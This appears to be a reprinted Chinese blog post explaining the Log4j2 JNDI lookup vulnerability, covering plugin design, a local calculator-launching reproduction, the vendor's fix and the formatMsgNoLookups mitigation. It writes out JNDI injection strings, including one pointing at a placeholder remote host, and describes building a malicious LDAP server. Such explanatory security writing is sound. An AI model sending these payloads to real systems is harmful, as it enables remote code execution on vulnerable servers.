Log4j2 Jndi 漏洞原理解析、復盤


 

 2021-12-10一個值得所有研發紀念的日子。

 

一波操作猛如虎,下班到了凌晨2點25。

 

基礎組件的重要性,在此次的Log4j2漏洞上反應的淋漓盡致,各種“核彈級漏洞”、“超高危” 等詞匯看的我瑟瑟發抖,那么問題真的有那么嚴重嗎?這個讓大家普遍加班搞到凌晨的漏洞,到底是什么問題?

 

01

漏洞解析、復現

 

Log4j2的框架設計非常優秀,各種功能均是以內部插件的方式進行的擴展實現,比如我們經常在Xml中定義的<Appenders>,實際對應的則是如下的AppendersPlugin對象

 

而我們在Xml Appenders下所定義的<Console>實際對應的則是如下的ConsoleAppender對象

 

看到這里應該就知曉了,我們在配置文件中所配置的各種元素實際上對應的均是Log4j2中的各種插件對象,Xml在被解析過程當中,會將你所配置的各種元素名稱實例化為對應的插件對象,然后與你所配置的Logger進行關聯。

Console,RollingFile 等則是我們一般情況下常用的插件,而此次出現重大漏洞問題的則是一個相對不太常用的插件,名叫:JndiLookup 吶,就是下面這個

 

此時則會有一個疑問,這個插件?沒見過?不熟悉?使用頻率不高吧?

 

按照道理來說的確是這樣,一個使用頻率不高的插件,就算有漏洞,也很難會去觸發到。

但偏偏這個插件被人為使用的頻率較低,但代碼觸發到的頻率很高,高到你代碼中每次觸發info,warn,error 等日志寫入的時候,都會去校驗一下是否執行Lookup的邏輯。也就是基於此,這樣一個小的插件由於和日志的寫入邏輯有所關聯,就導致了漏洞觸發的可能性成倍的增加。

 

Lookup插件在Log4j2的使用場景上是為了獲取配置而使用的,如Log4j2框架中所包含的JavaLookup插件,表示當你要在Log4j2框架中獲取Java的配置信息時,則會調度執行該JavaLookup來返回對應的Java配置信息,如下所示:

error代碼中直接填寫:${java.version} 則最終會返回對應的Java版本信息

 

同理Log4j2中還封裝的有DockerLookup,KubernetesLookup等,當你要在服務中獲取Docker的元數據信息時,則最終會被Log4j2框架調度執行到DockerLookup方法中,由DockerLookup來執行具體的交互並返回對應的數據。

 

那么此時再來去看JndiLookup則一目了然了,沒錯,JndiLookup只是Log4j2框架中各種Lookup的其中一個,其作用則是通過Jndi規范去獲取對應的配置信息時使用。

 

此時我們來驗證一下JndiLookup的漏洞,如下所示:

 

各大安全廠商在發布漏洞驗證報告時的截圖均是以$Jndi 打開本地計算器為例,以此表示Jndi存在嚴重的安全隱患,所以此處本人也是直接以此為例來進行驗證。

 

當我啟動main方法后可以發現 ${jndi:ldap://127.0.0.1:1389/badClassName} 這段代碼最終打開了本地的一個計算器程序,漏洞驗證成功。

 

原創聲明:作者陳咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

 

實際上想要本地復現這個漏洞是並不簡單的,所以為了后續可以更快速的理解,我們此處則需要重復幾個概念:

 

1、jndi 全名 Java Naming and Directory Interface,是用於目錄服務的Java API,它允許Java客戶端通過名稱發現查找數據和資源(以Java對象的形式)。

 

2、觸發Lookup插件的場景是使用:${},如上述的${java:version} 表示使用JavaLookup插件,傳入值為version然后返回對應的結果,而此處的${jndi:ldap://ip:port} 則同理表示調用JndiLookup傳入值為 ldap://ip:port 。

 

3、jndi是目錄接口,所以JndiLookup中則是各種目錄接口的實現集合,如下圖所示可以發現JndiLookup中可直接調用的具體實現類有很多,其中就包括LdapURLContext

 

OK,了解了上述的概念,我們就可以繼續開始了。

 

原創聲明:作者陳咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

 

首先我們當前的注入方式是${jndi:ldap://127.0.0.1:1389/badClassName} 也就是讓Log4j2框架執行error時,觸發JndiLookup,然后調用JndiLookup的ldap協議,以此達到注入的效果。

 

那么在此之前,我們需要做的第一件事是先搭建一個ldap協議的服務端,只有這樣才能做到Log4j2觸發ldap協議時,可以成功訪問你當前本地的1389端口,核心代碼如下所示:

 

首先定義一個ldap協議的Server

 

第二步通過asm框架字節碼的方式生成一個class類,class類主要內容便是執行Runtime.getRuntime.exec("calc.exe") 也就是該class類一旦被執行則會立即調用本地的計算器服務。

 

第三步則是ldap協議被訪問后,則將當前的class類作為byte流輸出為對應的響應結果

 

此時我們的服務端則搭建完成。

 

而對於客戶端而言,則更加簡單,僅需要引用對應的log4j-core的漏洞版即可,當前所引入的為2.14.1的版本。

啟動測試,結果則如下所示:

 

此時身為好奇Boy的你可能仍然會有疑問:

1、jndi加載后的class字節流是在何時被實例化為對象的。

2、既然如此,Log4j2官方又是如何修復的?

 

原創聲明:作者陳咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

 

02

疑問、復盤

 

針對jndi的問題,先做下相關說明:首先jndi本身並不是Log4j2框架的產物,而是Jdk自身的功能,對應的包路徑為com.sun.jndi 。

 

jndi 在jdk中的定位是目錄服務應用程序接口,目錄服務可以想象為一個樹,而java中常用的目錄服務協議則是rmi和ldap,ldap本身就是一套常用的目錄訪問協議,一般我們windows常用的AD域也都是基於ldap協議的,而jndi的作用則是通過目錄協議如ldap根據對應的目錄名,去查找對應服務端的對象,並把該對象下載到客戶端中來。

 

所以針對上述jndi:ldap的漏洞,其實這本身就不是問題,因為這本身就是jndi的功能,如果你的目錄訪問協議是可控的情況下,那么使用jndi則是安全的。

 

而Log4j2框架中JndiLookup使用到了Jndi的功能,但是對應的傳參則較為隨意,這就是一個很大的問題,如通過http的方式給業務服務傳參數為:${jndi:ldap://yuming.com/service} ,而業務方服務又恰巧把該參數打到了日志中,這就會導致很大的漏洞,因為誰也無法保證注入的yuming.com/service返回的對象是什么,相當於是一個很大的后門,注入者可以通過此漏洞任意執行所有代碼。

 

閉環了朋友們,文章最初所提到的這個漏洞真的有這么嚴重嗎?看到這里想必也已經很清楚了,各種媒體所宣稱的"核彈級",也是真的沒什么毛病。

 

原創聲明:作者陳咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

 

 

此時所引出的第二個問題則是:Log4j2框架是如何修復的?

 

既然jndi的問題無法解決,那作為日志框架的“我”自然要從自身尋找問題,所以Log4j2框架本身的解決方案則是設置域名白名單,類白名單等操作,如果jndi:ldap對應的訪問路徑並非127.0.0.1同網段的服務等,則不會執行lookup() ,以此避免訪問到外部的惡意服務上去。

 

Log4j2的代碼修復記錄如下:

 

老版本中關於JndiManager的代碼是這樣的,直接調用context.lookup(),context為jdk自身的jndi類

 

而修復后代碼是這樣的:在調用context.lookup()之前,做了較多的攔截操作,判斷了對應的白名單類,以及host等操作

 

對於各公司內解決方案,實際上不見得一定要通過短時間內升級jar包的方式來解決,因為java體系內的各種log包的依賴,由於各種歷史原因導致當前也是有點較為繁瑣,如果想要短時間內更加無痛解決的情況下,直接在已有的項目下增加log4j2.formatMsgNoLookups=true,也可以完美解決該問題。

 

對應代碼如下:配置該參數為true以后,會在對應的日志輸出進行format格式化時,不再解析你當前日志中的 ${} 的代碼塊,造成的影響面則是服務代碼中所有的 ${} 均不會再解析Lookup

 

當然,如果可以高效的推動各業務方升級則是最好的。

 

如果大家還有其他的奇門技巧來解決該問題,歡迎留言評論交流下你的解決方案。

 

 對於想要學習並驗證該漏洞的小伙伴,則需要麻煩你掃碼以下公眾號,並發送消息“ldap” 便可直接獲取ldap協議服務端源代碼。(卑微打工人,在線引流恰飯  /哭 ,感謝大家對原創的支持! )

 

本文已進行版權登記,版權歸屬陳咬金,抄襲必究。

原創聲明:作者陳咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM